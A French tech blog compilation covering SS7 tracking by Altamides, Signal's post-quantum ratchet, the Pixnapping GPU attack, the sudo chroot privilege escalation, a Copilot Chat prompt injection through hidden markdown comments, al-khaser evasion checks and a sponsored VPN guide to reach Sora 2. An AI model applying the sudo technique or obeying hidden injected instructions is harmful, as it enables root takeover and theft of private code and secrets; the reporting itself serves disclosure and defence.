Le 1er janvier 1995, Fuchs reçoit un fax décisif d’un ami indonésien : “La dérégulation est arrivée. Tu viens ?” Quatre jours plus tard, le 5 janvier, il embarque direction Jakarta. Cette fois, c’est pour bosser chez Telkomsel, l’un des plus gros opérateurs télécoms indonésiens qui émerge de cette nouvelle ère de libéralisation du marché.

Et c’est là, dans les entrailles de Telkomsel, que Fuchs comprend. Il passe ses journées à plonger dans les réseaux téléphoniques indonésiens et voit passer des millions de signaux de communication entre les opérateurs du monde entier. Tous transitent par le même protocole ancestral : SS7, pour Signalling System 7.

Développé par AT&T en 1975 et standardisé en 1980 , SS7 représente le système nerveux des télécommunications mondiales. Concrètement, quand vous appelez quelqu’un à l’étranger, c’est SS7 qui fait transiter l’appel d’un opérateur à l’autre. Quand vous recevez un SMS en vacances au bout du monde, c’est SS7 qui route le message. Le système est omniprésent, invisible, et surtout terriblement obsolète.

Le souci c’est que SS7 n’a jamais été conçu pour être sécurisé. À l’époque de sa création, seuls les opérateurs télécoms publics y avaient accès et on leur faisait une confiance aveugle. Donc pas de vérification d’identité forte, pas de chiffrement costaud, rien. Une confiance naïve qui date d’une ère où Internet n’existait pas encore.

Fuchs réalise le potentiel colossal de cette faiblesse structurelle et fonde en 1999 First Wap avec Pascal Lalanne, ce Français dont on ne sait presque rien encore aujourd’hui. L’association Fuchs-Lalanne est un duo Franco-Autrichien redoutable : l’un apporte l’expertise technique accumulée chez Siemens et Telkomsel, l’autre la vision business et les connexions en Asie du Sud-Est.

First Wap démarre initialement dans la messagerie électronique par SMS, un service qui cartonne en Asie où les téléphones portables se multiplient à une vitesse folle. Mais en 2000, la bulle Internet explose et tout le secteur tech vacille. Lalanne quitte alors le navire en 2004 , revend ses parts et disparaît ensuite complètement des radars. Depuis vingt ans, c’est silence radio total. Aujourd’hui, on sait juste qu’il s’est reconverti dans l’écologie et a dirigé un sanctuaire naturel à Lombok, en Indonésie. Un virage à 180 degrés.

Mais Fuchs, lui, continue. Et il a une idée qui va révolutionner le marché de la surveillance.

Début des années 2000, Fuchs et son équipe créent alors Altamides. Le nom signifie Advanced Location Tracking and Mobile Information and Deception System. L’idée c’est d’exploiter SS7 pour faire croire au réseau télécom que vous êtes un opérateur légitime. Cela permet de localiser n’importe quel téléphone en temps réel, d’intercepter des SMS, d’écouter des appels, et même de pirater WhatsApp (oui, je vous explique tout après).

Pas besoin d’infecter le téléphone de la victime comme avec Pegasus ou un logiciel espion complexe qui coûte des millions. Non, Altamides opère au niveau du réseau télécom lui-même , ce qui le rend plus discret, plus simple à déployer, et surtout ça fonctionne partout dans le monde sans exception.

Techniquement parlant, First Wap loue des Global Titles (des adresses réseau utilisées par le protocole SS7) auprès d’opérateurs complaisants, notamment Mobilkom Liechtenstein . Ces adresses leur permettent d’envoyer des requêtes de localisation qui semblent parfaitement légitimes aux yeux des réseaux télécoms mondiaux. Le système ne peut tout simplement pas faire la différence.

Pour vous la faire simple, si votre téléphone est allumé, Altamides peut vous trouver où que vous soyez sur la planète. Et vous ne vous en rendrez jamais compte. Aucune trace sur votre appareil, aucun signe d’infection, aucune batterie qui chauffe bizarrement… C’est l’outil d’espionnage parfait.

L’enquête de Lighthouse Reports permet de mettre la main sur 1,5 million d’enregistrements de tracking récupérés sur le dark web. On parle ici de plus de 14 000 numéros uniques espionnés dans 168 pays entre 2007 et 2014. Mais le vrai chiffre est probablement bien plus élevé puisque l’archive ne représente qu’une fraction de l’activité totale d’Altamides.

Plus c’est violet, plus y’a de cibles. L’Indonésie, et le Nigeria sont particulièrement touchés

Et leur tableau de chasse est hallucinant…

Gianluigi Nuzzi, journaliste d’investigation italien spécialisé dans les affaires vaticanes, publie en mai 2012 son livre explosif “Sua Santità” (Sa Sainteté : Les papiers secrets de Benoît XVI). L’ouvrage révèle des documents confidentiels montrant corruption, luttes de pouvoir et opacité financière au cœur du Vatican. C’est le début du scandale “Vatileaks”.

Et quelques heures seulement après la sortie du bouquin, son téléphone se retrouve tracké par Altamides. Ainsi, pendant que la police vaticane recherche désespérément sa source, quelqu’un d’autre suit Nuzzi à la trace via son smartphone. Les requêtes Altamides tombent d’abord manuellement et irrégulièrement, puis deviennent automatiques à partir du 22 mai. Toutes les heures, à la minute près, soit près de 200 localisations en une semaine.

Le tracking montre Nuzzi à Milan près de son ancien appartement, sur l’autoroute en direction de Rome, dans le centre historique près de la fontaine de Trevi, à l’aéroport et chaque déplacement est méticuleusement consigné.

Quelqu’un voulait savoir s’il rencontrait sa source et où.

Le 23 mai 2012, cinq jours après le début de la surveillance, la gendarmerie vaticane arrête Paolo Gabriele, le majordome personnel du pape depuis 2006. L’homme de 46 ans avait un accès privilégié au bureau privé de Benoît XVI et utilisait le photocopieur du bureau partagé avec les deux secrétaires papaux pour copier documents et lettres confidentielles marquées “à détruire”. Il transmettait ensuite ces copies à Nuzzi lors de rencontres nocturnes dignes d’un thriller hollywoodien à base de longs trajets en voiture pour s’assurer qu’ils n’étaient pas suivis, avec des rencontres dans un appartement vide avec une seule chaise où attendait la source au nom de code “Maria”.

Le 24 mai, le lendemain de l’arrestation de Gabriele, le tracking de Nuzzi s’arrête net. Mission accomplie ? Les documents internes révèlent que la société britannique KCS Group, revendeur d’Altamides, avait présenté le système à des “gens du V.” (le Vatican) à Milan quelques jours avant l’arrestation. La présentation incluait les cartes de déplacement de Nuzzi en temps réel. Le Vatican n’a jamais répondu aux questions des journalistes sur cette affaire.

Paolo Gabriele sera condamné à 18 mois de détention pour vol aggravé. Il dira avoir agi pour dénoncer le “mal et la corruption” qu’il voyait autour du pape, manipulé par son entourage. Benoît XVI le graciera après quelques mois et Gabriele décédera en novembre 2020 à 54 ans d’une longue maladie.

Autre cible, Patrick Karegeya, ancien chef des renseignements extérieurs du Rwanda et bras droit de Paul Kagame, vit en exil forcé en Afrique du Sud depuis 2007. Après avoir aidé Kagame à prendre le pouvoir en 1994, il est tombé en disgrâce, emprisonné deux fois pour “insubordination”, et a fui pour échapper à un sort pire encore. Avec le Général Kayumba Nyamwasa (ancien chef d’état-major), il fonde le Rwanda National Congress, principal mouvement d’opposition en exil.

L’archive d’Altamides montre qu’en janvier 2012, le téléphone d’Emile Rutagengwa, chauffeur et garde du corps de Karegeya, est tracké à plusieurs reprises. En mai, c’est Rosette Nyamwasa, l’épouse du Général, qui devient une cible. Quelqu’un cartographie méthodiquement l’entourage des deux opposants.

Le soir du 31 décembre 2013, Karegeya a rendez-vous au luxueux hôtel Michelangelo Towers de Sandton, le quartier d’affaires huppé de Johannesburg, avec Apollo Kiririsi Gafaranga, un homme d’affaires rwandais qu’il connaît depuis l’époque où il dirigeait les services secrets. À 19h46, Karegeya envoie un dernier message rassurant à son neveu David Batenga. Tout va bien, il est avec Apollo.

Le 1er janvier 2014 vers 17h30, le personnel de l’hôtel découvre Karegeya étranglé dans la chambre 905, une serviette ensanglantée et une corde retrouvées dans le coffre-fort de la chambre. Apollo Kiririsi a disparu et a déjà pris un vol pour Kigali. La surveillance Altamides a précédé cet assassinat de 18 mois.

Dans les jours suivant le meurtre, des officiels rwandais se réjouissent publiquement. La ministre des Affaires étrangères Louise Mushikiwabo tweete : “Ce n’est pas comment tu commences qui compte, c’est comment tu finis. Cet homme s’est déclaré ennemi de mon gouvernement et de mon pays. Vous attendez de la pitié ?” Le ministre de la Défense James Kabarebe est encore plus brutal : “Quand tu choisis d’être un chien, tu meurs comme un chien.”

Kagame lui-même déclare publiquement quelques jours plus tard : “Toute personne encore en vie qui complote contre le Rwanda, qui qu’elle soit, paiera le prix. Les conséquences sont les conséquences.” En 2019, un juge sud africain révèle que “des liens étroits existent entre les suspects et le gouvernement rwandais actuel”. Mais aucun des suspects n’a jamais été arrêté et continuent de vivre tranquillement au Rwanda.

L’apocalypse de l’informatique quantique, c’est un truc que les experts annoncent régulièrement depuis 30 ans. Et cette fois ça commence à se préciser car si j’en crois Gartner , c’est pour 2029 - 2034 !

C’est le “on verra ça la semaine prochaine” éternel de la sécurité informatique, sauf que pendant que tout le monde rigole nerveusement en se disant on a le temps, Signal, eux s’attaquent sérieusement au sujet. Et il viennent de publier un write-up technique assez long expliquant comment ils ont déjà régler le problème.

Actuellement, seulement 18% des entreprises du Fortune 500 ont des réseaux protégés contre les ordinateurs quantiques donc autant vous dire que pas grand monde n’est prêt. Heureusement, on va tous pouvoir s’inspirer de ce qu’a fait Signal qui a mis au point un nouveau système baptisé SPQR (Sparse Post Quantum Ratchet, que j’imagine être un jeu de mot avec le SPQR romain… ).

Le problème, c’est que la cryptographie post-quantique, c’est pas juste une mise à jour de sécurité comme les autres. Concrètement, les nouvelles clés cryptographiques résistantes aux ordinateurs quantiques (ML-KEM-768, pour les intimes) font 2 272 bytes alors que les anciennes clés ECDH ne sont que de 32 bytes. C’est donc 71 fois plus gros et donc nos échanges chiffrés vont consommer encore plus de bande passante.

Et ça, c’est juste la partie visible du problème car Signal, c’est pas WhatsApp qui peut se permettre de dire “tant pis, on a de la thune, on va juste consommer plus de bande passante”. Non, Signal lui doit fonctionner partout c’est à dire aussi bien sur les vieux téléphones, que sur les réseaux pourris, ou dans les pays où les gouvernements surveillent activement le trafic. Et tout ça en restant plus sécurisé que n’importe quel autre service. C’est pas évident donc…

En 2023, Signal avait déjà fait une première mise à jour post-quantique avec PQXDH . L’idée, c’était de sécuriser la phase d’initialisation des conversations (le fameux handshake) au travers d’une approche hybride. En gros, on garde l’ancienne méthode X25519 et on ajoute un Kyber-1024 par-dessus, comme ça, même si les ordinateurs quantiques cassent l’une des deux protections, l’autre tient encore.

C’est malin, mais bon, ça ne suffisait pas car le handshake, c’est juste le début pour initialiser la conversation. Alors Signal a mis au point un système appelé le “Double Ratchet” qui fait évoluer les clés de chiffrement en permanence. Ainsi, à chaque message envoyé ou reçu, hop, de nouvelles clés sont générées. C’est ce qui donne à Signal ses super-pouvoirs : la forward secrecy (en gros, ça veut dire que si on vous pirate aujourd’hui, on ne peut pas déchiffrer vos vieux messages) et la post-compromise security (si on vous pirate, vous récupérez automatiquement une connexion sécurisée après quelques échanges).

Ce Double Ratchet, c’était une merveille d’ingénierie, sauf que devinez quoi… il repose entièrement sur ECDH, qui sera totalement cassable par les ordinateurs quantiques d’ici quelques années.

Donc il a fallu tout repenser !

Signal a donc ajouté un troisième ratchet au système. Un Triple Ratchet, le SPQR, qui fonctionne en parallèle des deux autres et injecte régulièrement des secrets post-quantiques dans le mélange.

L’astuce géniale, c’est qu’ils utilisent des “erasure codes”. C’est un peu comme les codes de correction d’erreur sur les CD, mais pour reconstituer des clés cryptographiques manquantes. Hé oui parce que sur un réseau merdique (ou surveillé par un vilain méchant gouvernement), des paquets se perdent. Du coup, avec les erasure codes, même si vous loupez quelques messages, vous pouvez quand même reconstituer les clés.

Et pour régler le problème de la taille des clés (vous vous souvenez, l’explosion de la bande passante ?), ils ont parallélisé les échanges de clés comme ça au lieu d’envoyer une grosse clé à chaque message, ils en envoient plusieurs petites en parallèle, réparties sur plusieurs messages. Ainsi, l’impact sur la bande passante reste raisonnable.

Voilà, donc pour résumer Signal a réussi à ajouter une protection post-quantique complète, en maintenant la forward secrecy et la post-compromise security, tout en gérant les environnements asynchrones (quand les gens sont offline), les réseaux pourris et les adversaires actifs. Tout ça avec un impact minimal sur les perfs ! C’est beau non ?

Et le plus beau dans tout ça c’est que pour nous, les utilisateurs rien ne change ! Toute cette complexité technique est totalement invisible. D’ailleurs les entreprises françaises feraient bien de se mettre sur le sujet car le temps passe vite. L’ANSSI a même tiré la sonnette d’alarme et fixé des échéances précises pour que les entreprises se bougent. Les secteurs les plus à risque (banques, santé, infrastructures critiques…) sont en première ligne. En plus quand on sait que les cybercriminels (et la NSA et compagnie) stockent déjà des données chiffrées pour les déchiffrer plus tard avec des ordinateurs quantiques, l’excuse du “on verra plus tard” ne tient plus vraiment la route.

Signal a ouvert totalement son code et publié ses algos et autres formules donc chaque entreprise qui le souhaite peut aller s’en inspirer. Pour une ONG c’est impressionnant ce qu’ils ont réussi là et ça prouve encore une fois qu’en matière de sécurité, il n’y a pas de fatalité.

Juste des choix.

Source

Il y a des bugs qu’on corrige en urgence. Et puis il y a GPU.zip, cette faille que TOUS les fabricants de GPU connaissent depuis mars 2023 et que personne n’a jamais voulu fixer.

Et 2 ans et demi plus tard, des chercheurs viennent de prouver qu’elle permettait de voler nos codes 2FA sous Android en moins de 30 secondes !!

Et devinez quoi ?

Y’a toujours pas de patch !

L’histoire commence donc en septembre 2023. Des chercheurs de l’Université du Texas, Carnegie Mellon, et l’Université de Washington publient GPU.zip , une attaque par canal auxiliaire qui exploite la compression graphique hardware des GPU. Le principe c’est qu’en mesurant le temps de rendu de certaines opérations graphiques, on peut déduire la couleur des pixels affichés à l’écran. Pixel par pixel. Un peu comme prendre une capture d’écran, mais sans permission, bien sûr !

Tous les fabricants de GPU sont donc prévenu dès mars 2023. AMD, Apple, Arm, Intel, Nvidia, Qualcomm. Mais aucun patch n’a pointé le bout de son nez. La position officielle des fabricants de GPU étant que “C’est au software de gérer ça”.

Les navigateurs web colmatent alors la brèche en limitant les iframes cross-origin, mais la faille hardware elle-même n’est jamais corrigée. Trop coûteux. Trop compliqué. Pas leur problème…

Maintenant on fait avance rapide en octobre 2025. Une équipe de 7 chercheurs (UC Berkeley, Carnegie Mellon, Université de Washington) sort Pixnapping , une attaque qui ressuscite GPU.zip sur Android. Le papier sera d’ailleurs présenté à la 32nd ACM Conference on Computer and Communications Security qui a lieue cette semaine à Taipei. Alan Linghao Wang, Ricardo Paccagnella et leurs collègues on réalisé une démo où on voit une application Android malveillante voler des codes 2FA, des messages privés, ou n’importe quelle donnée affichée à l’écran, sans demander la moindre permission système.

La commande sudo que tous les linuxiens connaissent a plus de 40 ans, tout autant d’années d’audits de sécurité, des millions de lignes de code scrutées par des milliers de développeurs au fil des ans et surtout des dizaines de CVE critiques corrigées.

Et pourtant on est jamais à l’abri d’une mauvaise surprise ! En effet, une fonctionnalité ajoutée récemment pour “améliorer” la sécurité a crée un trou béant. Baptisée CVE-2025-32463, cette une faille critique présente dans sudo est même déjà exploitée par des cybercriminels.

Alors qu’est ce qui se passe exactement ? Hé bien en 2023, les développeurs de sudo ajoutent une amélioration dans la version 1.9.14. L’option --chroot (qui permet d’isoler une commande dans une “prison” système) est améliorée pour mieux gérer le “command matching”. Ça part d’une bonne intention, comme toujours mais cela a débouché sur l’une des pires CVE de l’année.

Rich Mirch de Stratascale découvre alors le problème en juin 2025. Ainsi, quand sudo fait un chroot dans un répertoire contrôlé par l’utilisateur, il demande ensuite “qui es-tu ?” via NSS (Name Service Switch, le système qui résout les infos utilisateurs). Sauf que NSS lit ses fichiers de config… dans le chroot. Votre chroot, celui que vous contrôlez. Gloups !

Il suffit alors de placer un faux /etc/nsswitch.conf et une bibliothèque partagée malveillante dans votre répertoire. Sudo fait son petit chroot dedans, charge votre lib pour vérifier qui vous êtes… et hop votre code s’exécute en root. Ainsi, n’importe quel utilisateur local, sans droits sudo préexistants, peut devenir root. C’est con hein ?

C’est tout con à exploiter ! Et le score de cette faille est critique puisqu’on est sur un CVSS de 9.3 / 10. Et comme les PoC (proof of concept) sont disponibles sur Github dans plein de versions différentes (genre celle là ou celle là ), c’est la fête à l’exploitation sauvage !!

Le 29 septembre dernier, la CISA a même ajouté la CVE-2025-32463 au catalogue KEV (Known Exploited Vulnerabilities), ce qui confirme son exploitation dans la nature. Les agences fédérales américaines ont donc jusqu’au 20 octobre 2025 pour patcher.

Donc oui, c’est du sérieux.

Notez que le patch est disponible depuis le 30 juin 2025 . Sudo 1.9.17p1 corrige donc ce problème et la fonctionnalité --chroot est maintenant marquée comme “dépréciée”. Les développeurs ont compris que cette idée était bancale dès le départ.

Donc si vous êtes admin système et que vous n’avez pas encore mis à jour, c’est le moment, les amis !! Les versions vulnérables vont de sudo 1.9.14 à 1.9.17. Les versions antérieures (avant 1.9.14) ne sont pas touchées, car la fonctionnalité n’existait pas. Et les plus récentes (1.9.17p1+) sont patchées. Ouf !

Comme quoi, même le code le plus vénéré par les barbus peut se foirer sur une nouveauté. En tout cas, bien joué à Rich Mirch pour avoir trouvé ça ! Et sincèrement désolé pour les devs qui ont validé ce commit foireux en 2023, qui ont dû s’en vouloir un peu quand même ^^.

Source

Y’a plein de problèmes avec les IA, mais y’en a un encore un peu trop sous-estimé par les vibe codeurs que vous êtes… Ce problème, c’est qu’on leur fait confiance comme à un collègue, on leur montre notre code, nos repos privés, nos petits secrets bien planqués dans les variables d’environnement…

Par exemple, quand vous passez en revue une pull request sur GitHub, vous faites quoi ? Vous lisez le code ligne par ligne, vous cherchez les bugs, les failles de sécu, les optimisations possibles. Mais les commentaires vous les lisez ? Au mieux on les survole, c’est vrai, car c’est de la comm’ entre devs, et pas du code exécutable.

Sauf pour Copilot Chat pour qui un commentaire c’est un texte comme un autre. Et selon Omer Mayraz , chercheur en sécurité chez Legit Security, c’est exactement ce qui en fait une zone de confiance aveugle parfaite pour une attaque.

Ce qu’a découvert Omer Mayraz c’est donc une vulnérabilité critique dans GitHub Copilot Chat avec un score CVSS de 9.6 sur 10. Cela consiste à planquer des instructions malveillantes dans des commentaires markdown invisibles comme ça, ces commentaires ne s’affichent pas dans l’interface web de GitHub, mais Copilot Chat les voit parfaitement et les traite comme des prompts légitimes.

Du coup, l’attaquant peut forcer Copilot à chercher des secrets dans vos repos privés, à extraire du code source confidentiel, voire à dénicher des descriptions de vulnérabilités zero-day non publiées. Tout ça sans que vous ne voyiez rien venir évidemment !

Voici une démo complète de l’attaque en vidéo :

Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
<a href="/camoleak-github-copilot-vulnerability-prompt-injection/camoleak-github-copilot-vulnerability-prompt-injection-1.mp4">lien vers la vidéo</a>.

Vous venez de claquer plusieurs milliers d’euros dans une solution antivirus dernier cri pour votre boîte car le commercial vous a convaincu avec du machine learning, de l’IA comportementale, du threat hunting prédictif et j’en passe…

Cool story ! Mais si je vous disais qu’un petit exécutable open source gratuit peut potentiellement passer à travers ? Ce programme s’appelle al-khaser et je vous assure qu’il va vous faire déchanter, car ce truc, c’est le détecteur de mensonges des solutions de cybersécurité.

Al-khaser est outil qui ne fait rien de méchant en soi… C’est ce qu’on appelle un PoC, un “proof of concept” avec de bonnes intentions car il rassemble dans un seul programme toutes les techniques que les vrais malwares utilisent pour se planquer tels que la détection de machines virtuelles, le contournement des débogueurs, l’échappement aux sandbox, et j’en passe.

Comme ça, si votre antivirus ne détecte pas al-khaser, il y a de bonnes chances qu’il rate aussi les vraies menaces qui utilisent les mêmes techniques.

Faut dire que les éditeurs d’antivirus et d’EDR adorent nous vendre leurs nouvelles fonctionnalités IA de fou alors que certaines de leurs solutions ne détectent même pas des techniques pourtant connues depuis longtemps.

Al-khaser met donc tout ça en lumière de façon assez brutale en enchaînant des dizaines de vérifications. Par exemple, il va regarder si votre processeur a vraiment le bon nombre de cœurs ou si c’est une simulation. Il va checker l’adresse MAC de votre carte réseau pour voir si elle correspond à un hyperviseur VMware ou VirtualBox. Il va mesurer le temps d’exécution de certaines opérations pour détecter si le système est accéléré artificiellement, comme dans une sandbox d’analyse. Il va même tester des API Windows classiques comme IsDebuggerPresent ou CheckRemoteDebuggerPresent pour voir si quelqu’un espionne son exécution.

Maintenant si vous voulez tester les protections anti-debug de votre système, vous tapez :

al-khaser.exe –check DEBUG –sleep 30

Oui si vous voulez voir si votre virtualisation VMware ou QEMU est bien masquée :

al-khaser.exe –check VMWARE –check QEMU

Bien sûr, ces techniques ne sortent pas de nulle part car elles sont documentées depuis des années notamment dans ce référentiel dont je vous déjà parlé .

Les équipes de pentest et les red teams adorent al-khaser car ça leur permet de montrer aux décideurs que leur gros investissement en cybersécurité n’est peut-être pas aussi solide qu’ils le pensaient. Vous lancez l’outil un vendredi après-midi dans un environnement de test, et vous voyez instantanément ce que votre EDR détecte ou pas.

Voilà, une fois encore, rassurez-vous, al-khaser ne fait rien de malveillant… Il ne vole pas de données, ne chiffre pas vos fichiers, ne lance pas de ransomware mais se contente juste de lever la main et de dire “hé ho, je suis là, regardez moi, je fais plein de des trucs louches !!”.

Bien sûr, ne lancez pas al-khaser sur n’importe quelle machine car c’est un outil de test qui doit rester dans un environnement contrôlé. Si vous le lancez sur le réseau de prod sans prévenir votre équipe sécu, vous allez déclencher des alertes partout et recevoir des appels pas très sympathiques. Et surtout, juridiquement, vous devez avoir l’autorisation du propriétaire de l’infrastructure, sinon, vous risquez de gros ennuis.

Ce projet est open source, écrit essentiellement en C++, et disponible sur GitHub . Y’a plus qu’à vous monter une VM isolée, récupérer al-khaser, et voir ce que ça donne.

Vous faites du pentest, de la recherche en sécu ou vous êtes juste un curieux qui aime bidouiller des environnements de test ? Dans ce cas, il faut absolument que vous vous montiez un lab cybersécurité ! Mais c’est vai que c’est souvent la galère… Y’a Active Directory à configurer, des VMs Windows à déployer, des réseaux isolés à créer, tout ça manuellement… Ça prend des heures, voire des jours. Heureusement, Ludus règle le problème ! Vous décrivez ce que vous voulez dans un fichier YAML, vous tapez une commande, et hop, votre lab est prêt.

Ludus , c’est donc un système d’automatisation open-source qui tourne sur Proxmox. Vous définissez votre environnement de test (ce qu’ils appellent un “range”) dans un fichier de config, et Ludus s’occupe de tout déployer. Active Directory, machines Windows avec Office et Chocolatey, réseaux isolés, firewall rules personnalisées, DNS interne… Tout ce qu’il faut pour un lab de red team, blue team ou purple team.

Le truc cool, c’est que Ludus utilise Packer et Ansible en arrière-plan. Les templates sont construits à partir d’ISOs vérifiées, et tout est déployé de manière reproductible. Comme ça si vous voulez 255 VLANs, pas de souci. Si vous avez besoin de règles firewall custom ou de définir rôles Ansible pour configurer vos machines, c’est fastoche. Bref, Ludus vous laisse faire du high-level en YAML tout en gérant la complexité technique pour vous.

L’isolation est également bien pensée. Vous pouvez couper vos VMs d’internet, prendre des snapshots avant de leur autoriser l’accès, et ne whitelister que les domaines ou IPs spécifiques dont vous avez besoin. Du coup, pas de télémétrie qui fuit, pas de mises à jour Windows qui cassent votre environnement de test. Vous contrôlez tout !

Pour l’accès, Ludus intègre un serveur WireGuard ce qui vous permettra de vous connecter depuis n’importe où via SSH, RDP, VNC ou KasmVNC. Pratique si vous voulez accéder à votre lab depuis l’extérieur sans exposer vos machines de test sur internet.

Techniquement, ça tourne uniquement sur Debian 12/13 avec Proxmox 8/9. Il vous faudra au minimum 32GB de RAM par range (environnement de test), 200GB de stockage initial plus 50GB par range supplémentaire, et un CPU x86_64 avec un score Passmark au-dessus de 6000. C’est des specs correctes, mais pas non plus délirant si vous montez un serveur dédié pour ça.

Après une fois que c’est en place, le workflow pour les utilisateurs est assez simple. Vous récupérez une clé API et une config WireGuard auprès de l’admin du serveur Ludus, vous installez le client Ludus, vous importez votre VPN, et vous pouvez gérer votre range via la ligne de commande.

Le projet est sous licence AGPLv3, donc full open-source et comme d’hab, le code est sur GitHub . C’est en train de devenir un outil de référence dans la communauté sécu pour qui veut des environnements de test reproductibles.

Bref, si vous en avez marre de passer des heures à configurer vos labs à la main, pensez à Ludus ! Un fichier YAML, une commande vite fait, et votre infrastructure de test est toute prête ! Après, vous pouvez toujours aller bidouiller manuellement dans Proxmox si besoin, Ludus ne vous en empêchera pas, mais pour le gros du boulot chiant, il automatisera tout.

Ah et la documentation est ici !

OpenAI a lancé Sora 2 fin septembre, et pour l’avoir testé, je peux vous dire que c’est un sacré bond en avant pour la génération vidéo par IA. Leur modèle génère maintenant de la vidéo ET de l’audio synchronisé, avec des dialogues, des effets sonores et des musiques réalistes…etc.

Mais il y a un hic car Sora 2 est dispo uniquement aux USA et au Canada. Le reste du monde, dont l’Europe, est donc bloqué. Mais rassurez-vous, je vais vous expliquer comment y accéder.

Sora 2 fonctionne en text-to-video et image-to-video. En gros, vous tapez une description, et le modèle génère la vidéo avec l’audio qui va bien. Comparé à la première version , Sora 2 respecte donc bien mieux la physique. Par exemple, on arrive à obtenir un ballon de basket qui rate le panier rebondit correctement sur le panneau… les mouvements sont plus cohérents, et les instructions complexes sur plusieurs plans sont suivies en gardant l’état du monde.

La fonctionnalité qui fait du bruit, c’est surtout Cameo. Vous uploadez une courte vidéo de vous, et Sora 2 peut vous insérer dans n’importe quelle scène générée. Le modèle reproduit alors votre apparence et votre voix avec assez de précision pour que ça fonctionne. Ça marche aussi avec des animaux ou des objets. OpenAI a sorti une app iOS sociale autour de ça, où vous créez des vidéos, remixez les générations des autres, et ajoutez vos potes en cameo.

Maintenant, comme je vous le disais, le problème c’est que Sora 2 est réservé aux Etats-Unis et au Canada uniquement donc si vous tentez d’y accéder depuis l’Europe, le Royaume Uni, l’Australie ou ailleurs, vous tomberez sur un message du style “Service not available in your region”. Et malheureusement, OpenAI n’a pas communiqué de dates pour l’expansion internationale, même si des sources parlent de déploiements progressifs dans les prochaines semaines.

Pourquoi Surfshark est la solution idéale pour accéder à Sora 2

Une solution technique existe pour contourner ce problème : utiliser un VPN pour apparaître aux yeux de Sora 2 comme si vous étiez aux USA ou au Canada. Et c’est là que Surfshark entre en jeu .

Surfshark dispose d’un réseau impressionnant de plus de 3200 serveurs répartis dans 100 pays, dont de nombreux serveurs performants aux États-Unis et au Canada. Les débits dépassent régulièrement 950 Mbps via le protocole WireGuard, ce qui garantit un streaming fluide et sans latence pour vos générations vidéo sur Sora 2. Fini les connexions qui rament au moment crucial.

Le gros plus de Surfshark ? Le tarif ultra-compétitif à environ 3€ par mois (avec l’offre actuelle), ce qui en fait l’un des VPN avec le meilleur rapport qualité-prix du marché. Mais ce n’est pas tout : contrairement à la plupart des concurrents, Surfshark permet des connexions simultanées illimitées. Vous pouvez protéger tous vos appareils (PC, smartphone, tablette, smart TV, et même celui de votre famille) avec un seul abonnement.

Des fonctionnalités qui vont au-delà du simple VPN

Ce qui distingue vraiment Surfshark, ce sont ses fonctionnalités avancées qui renforcent votre sécurité et votre anonymat en ligne. Le Dynamic MultiHop fait transiter votre connexion par plusieurs serveurs dans différents pays, brouillant totalement les pistes. Même les plus curieux auront du mal à vous suivre.

La plateforme Nexus centralise toute la gestion de vos paramètres de sécurité dans une interface intuitive. Vous pouvez analyser les fuites potentielles, gérer vos connexions multiples, et activer les protections avancées en quelques clics, même si vous n’êtes pas un expert technique.

Côté innovation, Surfshark ne chôme pas. Ils ont récemment déposé un brevet pour un système de chiffrement de bout en bout qui élimine les métadonnées. Contrairement aux VPN classiques qui laissent parfois des traces temporelles ou de volume, ce nouveau système efface absolument toutes les miettes numériques. Et ça ne ralentit pas votre connexion, ce qui est crucial pour du streaming 4K ou des générations vidéo gourmandes en bande passante.

Surfshark a également lancé son propre service DNS public gratuit, qui chiffre et anonymise toutes vos requêtes DNS via DNS-over-HTTPS et DNS-over-TLS. Même votre fournisseur d’accès Internet ne peut plus voir quels sites vous visitez. Et contrairement à d’autres DNS publics, Surfshark ne collecte ni ne vend vos données de navigation.

CleanWeb et Alternative ID : la protection complète

En bonus, tous les abonnements Surfshark incluent désormais CleanWeb, un bloqueur de publicités et de trackers ultra-efficace. Il fonctionne sur tous vos appareils (Windows, Mac, Android, iOS, Linux, même FireTV) et bloque non seulement les pubs classiques, mais aussi les pop-ups, les cookies invasifs, les tentatives de phishing et les sites vérolés. Vous naviguez plus vite, plus proprement, et en toute sécurité.

Et si vous voulez aller encore plus loin dans la protection de votre vie privée, Alternative ID (inclus dans l’abonnement) vous permet de générer des identités fictives (noms, adresses mail temporaires, numéros de téléphone) pour vous inscrire sur des services sans jamais donner vos vraies informations. Pratique pour tester Sora 2 ou d’autres plateformes sans se faire spammer par la suite.

Comment accéder à Sora 2 depuis l’Europe avec Surfshark

Notez quand même qu’utiliser un VPN pour contourner les restrictions géographiques d’OpenAI viole leurs conditions d’utilisation donc s’ils le décident, ils peuvent suspendre votre compte. Mais pour le moment, ce n’est arrivé à aucun utilisateur de VPN et je pense pas que ce serait dans leur intérêt.

Comme l’app Sora est dispo uniquement sur iOS pour l’instant, vous devrez aussi vous créer un compte Apple américain pour avoir l’appstore US et pouvoir installer l’app. Rien de bien compliqué et une fois que c’est installé, vous pouvez rebasculer sur votre compte FR.

Voici donc comment créer un compte Apple américain (US) :

1. Rendez-vous sur le site https://appleid.apple.com/us/ puis cliquez sur “Create your Apple ID”.
2. Remplissez les informations demandées (nom, date de naissance, adresse e-mail) et choisissez bien “United States” comme pays/région.
3. Vous pouvez utiliser un numéro de téléphone français pour la validation (le préfixe +33 est accepté) en recevant un SMS pour confirmer.
4. Validez votre adresse e-mail via le code envoyé.
5. À la création du compte, vous pouvez choisir “None” comme mode de paiement, ce qui signifie que vous n’êtes pas obligé de fournir une carte bancaire américaine.
6. Pour utiliser ce compte sur un appareil iOS, déconnectez votre compte Apple actuel dans AppStore > Compte > Déconnexion (tout en bas), puis connectez-vous avec votre nouvel identifiant Apple US.

Cette méthode vous permettra de créer un Apple ID pour accéder à l’App Store américain sans nécessiter obligatoirement une carte bancaire US.

Le système d’accès est en invitation pour l’instant et chaque personne invitée reçoit 4 codes à partager. TOUS LES CODES ONT ÉTÉ DISTRIBUÉS ! Maintenant si vous voulez tester Sora 2 et que vous êtes parmi les 4 premiers à m’envoyer un mail, je vous file un de mes codes d’invitation. Après ça, vous pourrez à votre tour inviter 4 personnes.

Maintenant, niveau contenu généré, on voit déjà des trucs hallucinants sur les réseaux… et aussi beaucoup de problèmes de copyright. Des users génèrent des Bobs l’Eponge, des Mario, des persos Nintendo…etc ce qui pose évidemment des questions légales mais bon, c’est rigolo quand même. OpenAI a d’ailleurs intégré un watermarking dans chaque vidéo générée, afin de pouvoir remonter la piste de chacune des générations.

En résumé : la marche à suivre

Si vous êtes en Europe et que vous voulez vraiment accéder à Sora 2 maintenant malgré les risques, voici comment ça fonctionne avec Surfshark :

1. Installez l’application Surfshark VPN sur votre appareil
